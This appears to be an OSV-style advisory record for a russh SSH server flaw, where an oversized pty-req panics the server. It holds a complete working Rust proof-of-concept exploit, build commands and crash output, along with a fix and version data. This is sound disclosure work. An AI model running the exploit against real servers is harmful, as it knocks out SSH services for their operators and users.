{"id":"CVE-2026-73489","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-73489","summary":"Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records","details":"## Summary\n\nA post-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An authenticated client sends a `pty-req` channel request\ncarrying more than 130 terminal-mode records. The parser uses a fixed\n`[(Pty::TTY_OP_END, 0); 130]` array but increments its counter `i` for every\nvalid record (logging \"too many pty codes\" without returning), then slices\n`&modes[0..i]` — an out-of-bounds slice that **panics** (`range end index 131\nout of range for slice of length 130`) before the application `pty_request`\nhandler runs.\n\nThis is reachable with the **default** server configuration and the **default**\ncrypto config (curve25519-sha256 + chacha20-poly1305), requiring only an\nauthenticated session channel — no caller-supplied parameter. It is reproduced\nend-to-end against the unmodified real russh 0.62.2 library (a real\n`russh::client` + `russh::server` over TCP, using the public\n`Channel::request_pty(...)` API); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA\nadvisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string\nparsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this\ncode path still overflows the fixed array).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/server/encrypted.rs`, `pty-req` handling (lines 1137–1201):\n\n```rust\nlet mut modes = [(Pty::TTY_OP_END, 0); 130];     // fixed 130-entry array (line 1137)\nlet mut i = 0;\n...\nwhile !mode_bytes.is_empty() {\n    let code = mode_bytes[0];\n    if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }\n    if mode_bytes.len() < 5 { return Err(...); }\n    let num = BigEndian::read_u32(&mode_bytes[1..5]);\n    if let Some(code) = Pty::from_u8(code) {\n        if i < 130 {\n            modes[i] = (code, num);\n        } else {\n            error!(\"pty-req: too many pty codes\");   // logs, does NOT return (line 1162)\n        }\n    }\n    i += 1;                                          // keeps growing past 130\n    mode_bytes = &mode_bytes[5..];\n}\n...\nhandler.pty_request(channel_num, &term, ..., &modes[0..i], self).await  // line 1201 — OOB when i > 130\n```\n\nEach terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),\nand `i += 1` runs for **every** valid record (including repeats of the same\nopcode). The `if i < 130` write-gate prevents an in-array overflow but the\ncounter still grows unbounded, and the later `&modes[0..i]` slice has no\ncorresponding bound. SSH packet-size limits do not bound the mode count to\n130, so a single normal-sized `pty-req` can carry hundreds of mode records.\nThe client's own `request_pty` serialization (`russh/src/client/session.rs`:\n\n```rust\n((1 + 5 * terminal_modes.len()) as u32).encode(&mut enc.write)?;   // line 129\nfor &(code, value) in terminal_modes {\n    if code == Pty::TTY_OP_END { continue; }\n    (code as u8).encode(&mut enc.write)?;\n    value.encode(&mut enc.write)?;                                   // line 135\n}\n```\n\nwrites every record with no count cap, so 131 records reach the server as a\nlegitimate authenticated channel request.\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection with the default\ncrypto config. It runs an ATTACK case (131 mode records → panic) and a CONTROL\ncase (130 mode records → parses fine), proving the panic is caused\nspecifically by exceeding the 130-entry array.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_c15_pty_modes_panic\nRUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic\n```\n\n### `russh/examples/e2e_c15_pty_modes_panic.rs`\n\n```rust\n// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode\n// records panics the russh server in its pty-req parser.\n//\n// A real `russh::client` + `russh::server` with the DEFAULT crypto config\n// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),\n// opens a session channel, and calls the public Channel::request_pty(...) API\n// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server\n// panics in its pty-req parser (&modes[0..i] OOB) on 131, parses fine on 130.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::{Arc, Mutex};\n\nuse russh::keys::Algorithm;\nuse russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};\nuse russh::{Channel, ChannelId, Pty};\nuse tokio::net::TcpListener;\n\n#[tokio::main]\nasync fn main() {\n    println!(\"=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\\n\");\n\n    let (atk_panic, atk_handler) = run_case(131, \"ATTACK \").await; // expect panic\n    println!();\n    let (ctl_panic, ctl_handler) = run_case(130, \"CONTROL\").await; // expect ok\n\n    println!(\"\\n=== summary ===\");\n    println!(\"case    | server panicked | pty_request handler ran\");\n    println!(\"ATTACK  | {atk_panic:<15} | {atk_handler}   (131 mode records)\");\n    println!(\"CONTROL | {ctl_panic:<15} | {ctl_handler}   (130 mode records)\");\n\n    if atk_panic && !atk_handler && !ctl_panic && ctl_handler {\n        println!(\"\\n=> CONFIRMED (end-to-end, real russh 0.62.2):\");\n        println!(\"   A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`\");\n        println!(\"   carrying 131 valid terminal-mode records makes the real\");\n        println!(\"   russh server panic in its pty-req parser\");\n        println!(\"   (range end index 131 out of range for slice of length 130)\");\n        println!(\"   before the application pty_request handler runs.\");\n    } else {\n        eprintln!(\"NOT reproduced\");\n        std::process::exit(1);\n    }\n}\n\nasync fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) {\n    let panicked = Arc::new(AtomicBool::new(false));\n    {\n        let flag = panicked.clone();\n        let prev = std::panic::take_hook();\n        std::panic::set_hook(Box::new(move |info| {\n            flag.store(true, Ordering::SeqCst);\n            eprintln!(\"[{label} server task panicked] {info}\");\n            prev(info);\n        }));\n    }\n\n    let events: Arc<Mutex<Vec<&'static str>>> = Arc::new(Mutex::new(Vec::new()));\n\n    // real russh server, DEFAULT crypto config (curve25519 + chacha20)\n    let mut config = server::Config::default();\n    config.inactivity_timeout = None;\n    config.auth_rejection_time = std::time::Duration::from_millis(1);\n    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n    config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());\n    let config = Arc::new(config);\n\n    let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n    let addr = listener.local_addr().unwrap();\n\n    let server_events = events.clone();\n    let server_task = tokio::spawn(async move {\n        let (socket, _peer) = listener.accept().await.unwrap();\n        let handler = PtyServer { events: server_events };\n        let session = server::run_stream(config, socket, handler).await.unwrap();\n        session.await\n    });\n\n    // real russh client (default config: real ECDH + encryption + auth)\n    let client_config = Arc::new(russh::client::Config::default());\n    let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();\n    let auth = session.authenticate_none(\"attacker\").await.unwrap();\n    assert!(auth.success(), \"[{label}] auth_none did not succeed\");\n\n    let channel = session.channel_open_session().await.unwrap();\n    println!(\"[{label}] authenticated + opened session channel\");\n\n    // terminal_modes: num_modes records of (VINTR, 42). The client serializes\n    // all of them with no count cap (client/session.rs:129-137).\n    let modes: Vec<(Pty, u32)> = vec![(Pty::VINTR, 42u32); num_modes];\n    let want_reply = true;\n\n    let pty_result = tokio::time::timeout(\n        std::time::Duration::from_secs(3),\n        channel.request_pty(want_reply, \"xterm\", 80, 24, 0, 0, &modes),\n    ).await;\n    println!(\"[{label}] client request_pty({num_modes} modes) -> {pty_result:?}\");\n\n    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n    let server_panicked = panicked.load(Ordering::SeqCst);\n    let handler_ran = events.lock().unwrap().contains(&\"pty_request\");\n    println!(\"[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}\");\n    let _ = std::panic::take_hook();\n    (server_panicked, handler_ran)\n}\n\n#[derive(Clone)]\nstruct PtyServer { events: Arc<Mutex<Vec<&'static str>>> }\nimpl PtyServer {\n    fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); }\n}\nimpl Handler for PtyServer {\n    type Error = russh::Error;\n    async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }\n    async fn channel_open_session(\n        &mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session,\n    ) -> Result<(), Self::Error> { reply.accept().await; Ok(()) }\n    async fn pty_request(\n        &mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32,\n        _pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session,\n    ) -> Result<(), Self::Error> { self.record(\"pty_request\"); Ok(()) }\n}\n\n#[derive(Clone)]\nstruct AcceptAllClient {}\nimpl russh::client::Handler for AcceptAllClient {\n    type Error = russh::Error;\n    async fn check_server_key(\n        &mut self, _server_public_key: &russh::keys::PublicKey,\n    ) -> Result<bool, Self::Error> { Ok(true) }\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] client request_pty(131 modes) -> Ok(Ok(()))\n[ATTACK  server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:\nrange end index 131 out of range for slice of length 130\nthread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39\nstack backtrace:\n   3: <Session>::server_read_authenticated::<PtyServer>\n   4: <Session>::process_packet::<PtyServer>\n   5: russh::server::reply::<PtyServer>\n[ATTACK ] server task panicked = true, pty_request handler ran = false\n[CONTROL] server task panicked = false, pty_request handler ran = true\n=> CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe panic occurs in russh's own post-auth parser before any application\nhandler is invoked.\n\n## Impact\n\n**Remote, post-authentication denial of service of any russh SSH server using\nthe default configuration.** Any authenticated client with a session channel can\ncrash the russh server task with a single `SSH_MSG_CHANNEL_REQUEST` `pty-req`\ncarrying 131+ terminal-mode records (each record is 5 bytes, so 131 records\nfit in one normal-sized packet). This is trivially reachable for any legitimate\nor compromised SSH user. DoS only — Rust bounds-checked panics abort the task\nsafely; there is no memory corruption or RCE.\n\n### Suggested fix\n\nCap `i` at 130 and reject the request instead of logging and continuing:\n\n```rust\nif i >= 130 {\n    return Err(Error::Inconsistent.into());   // reject instead of logging+continuing\n}\nmodes[i] = (code, num);\n```\n\n### Affected versions\n\n- `russh` **<= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n  `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n  by any of the 11 published russh GHSA advisories. Default `server::Config`\n  and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nReported by the diff/ambidiff security research effort (afldl). Happy to\ncoordinate a disclosure timeline; will request a CVE once confirmed.","published":"2026-07-24T16:46:13Z","modified":"2026-08-12T21:26:55.721751949Z","cvss":{"score":4.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"crates.io","name":"russh","fixedVersion":"0.62.4"}],"fix":{"url":"https://github.com/Eugeny/russh/commit/8912512371820167a12a0a638bd666856ce458ad","label":"Eugeny/russh@8912512"},"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-cqjc-rmpq-xprq"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/8912512371820167a12a0a638bd666856ce458ad"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.62.4"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T21:26:55.721751949Z"}}